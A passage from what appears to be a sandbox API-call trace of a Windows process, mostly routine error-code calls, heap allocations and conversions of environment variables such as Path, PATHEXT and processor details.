returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.514] GetLastError () returned 0x0 [0048.514] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] GetLastError () returned 0x0 [0048.515] SetLastError (dwErrCode=0x0) [0048.515] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x3833a40) returned 0x28 [0048.515] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x3833a40, Size=0x2c) returned 0x37e67b0 [0048.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0048.516] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x39) returned 0x37fe6e0 [0048.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x37fe6e0, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.516] SetLastError (dwErrCode=0x0) [0048.516] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37e67b0) returned 0x2c [0048.517] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x37e67b0, Size=0x30) returned 0x37e6a88 [0048.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0048.517] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x18) returned 0x37e1d70 [0048.517] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x37e1d70, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.517] SetLastError (dwErrCode=0x0) [0048.517] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.518] SetLastError (dwErrCode=0x0) [0048.518] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37e6a88) returned 0x30 [0048.519] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x37e6a88, Size=0x34) returned 0x382de30 [0048.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0048.519] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x17) returned 0x37e1c50 [0048.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x37e1c50, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.519] SetLastError (dwErrCode=0x0) [0048.519] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] GetLastError () returned 0x0 [0048.520] SetLastError (dwErrCode=0x0) [0048.520] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x382de30) returned 0x34 [0048.520] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x382de30, Size=0x38) returned 0x382de70 [0048.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0048.520] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0xe) returned 0x3802378 [0048.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x3802378, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0048.520] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.521] GetLastError () returned 0x0 [0048.521] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x382de70) returned 0x38 [0048.522] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x382de70, Size=0x3c) returned 0x37fe728 [0048.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0048.522] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x69) returned 0x37f13a8 [0048.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x37f13a8, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0048.522] GetLastError () returned 0x0 [0048.522] SetLastError (dwErrCode=0x0) [0048.522] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.523] GetLastError () returned 0x0 [0048.523] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37fe728) returned 0x3c [0048.524] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x37fe728, Size=0x40) returned 0x37fe770 [0048.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0048.524] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x3e) returned 0x37fe728 [0048.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x37fe728, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0048.524] GetLastError () returned 0x0 [0048.524] SetLastError (dwErrCode=0x0) [0048.524] GetLastError () returned 0x0 [0048.525] SetLastError (dwErrCode=0x0) [0048.525] GetLastError () returned 0x0 [0048.525] SetLastError (dwErrCode=0x0) [0048.525] GetLastError () returned 0x0 [0048.525] SetLastError (dwErrCode=0x0) [0048.525] GetLastError () returned 0x0 [0048.525] SetLastError (dwErrCode=0x0) [0048.525] GetLastError () returned 0x0 [0048.525] SetLastError (dwErrCode=0x0) [0048.525] GetLastError () returned 0x0 [0048.525] SetLastError (dwErrCode=0x0) [0048.525] GetLastError () returned 0x0 [0048.525] SetLastError (dwErrCode=0x0) [0048.525] GetLastError () returned 0x0 [0048.525] SetLastError (dwErrCode=0x0) [0048.525] GetLastError () returned 0x0 [0048.525] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37fe770) returned 0x40 [0048.525] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x37fe770, Size=0x44) returned 0x3826cb0 [0048.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.525] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1b) returned 0x3834388 [0048.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x3834388, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0048.525] GetLastError () returned 0x0 [0048.525] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x3826cb0) returned 0x44 [0048.525] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x3826cb0, Size=0x48) returned 0x3826d00 [0048.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0048.525] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1d) returned 0x3834360 [0048.525] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x3834360, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0048.525] GetLastError () returned 0x0 [0048.525] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x3826d00) returned 0x48 [0048.526] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x3826d00, Size=0x4c) returned 0x3835048 [0048.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0048.526] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x48) returned 0x3826d00 [0048.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x3826d00, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0048.526] GetLastError () returned 0x0 [0048.526] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x3835048) returned 0x4c [0048.526] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x3835048, Size=0x50) returned 0x38350a0 [0048.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0048.526] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x12) returned 0x37e1d90 [0048.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x37e1d90, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0048.526] GetLastError () returned 0x0 [0048.526] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x38350a0) returned 0x50 [0048.526] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x38350a0, Size=0x54) returned 0x380b220 [0048.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0048.526] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x18) returned 0x37e1ed0 [0048.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x37e1ed0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0048.526] GetLastError () returned 0x0 [0048.526] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x380b220) returned 0x54 [0048.526] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x380b220, Size=0x58) returned 0x380b280 [0048.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.526] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1b) returned 0x38343b0 [0048.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x38343b0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0048.526] GetLastError () returned 0x0 [0048.526] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x380b280) returned 0x58 [0048.526] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x380b280, Size=0x5c) returned 0x377f330 [0048.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0048.526] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x24) returned 0x3833a40 [0048.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x3833a40, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0048.526] GetLastError () returned 0x0 [0048.526] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x377f330) returned 0x5c [0048.526] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x377f330, Size=0x60) returned 0x377f400 [0048.526] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0048.526] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x29) returned 0x37e6a88 [0048.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x37e6a88, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0048.527] GetLastError () returned 0x0 [0048.527] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x377f400) returned 0x60 [0048.527] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, Ptr=0x377f400, Size=0x64) returned 0x37726d0 [0048.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0048.527] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x1e) returned 0x38343d8 [0048.527] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x38343d8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0048.527] GetLastError () returned 0x0 [0048.527] RtlSizeHeap (HeapHandle=0xd50000, Flags=0x0, MemoryPointer=0x37726d0) returned 0x64 [0048.527] RtlReAllocateHeap (Heap=0xd50000, Flags=0x0, 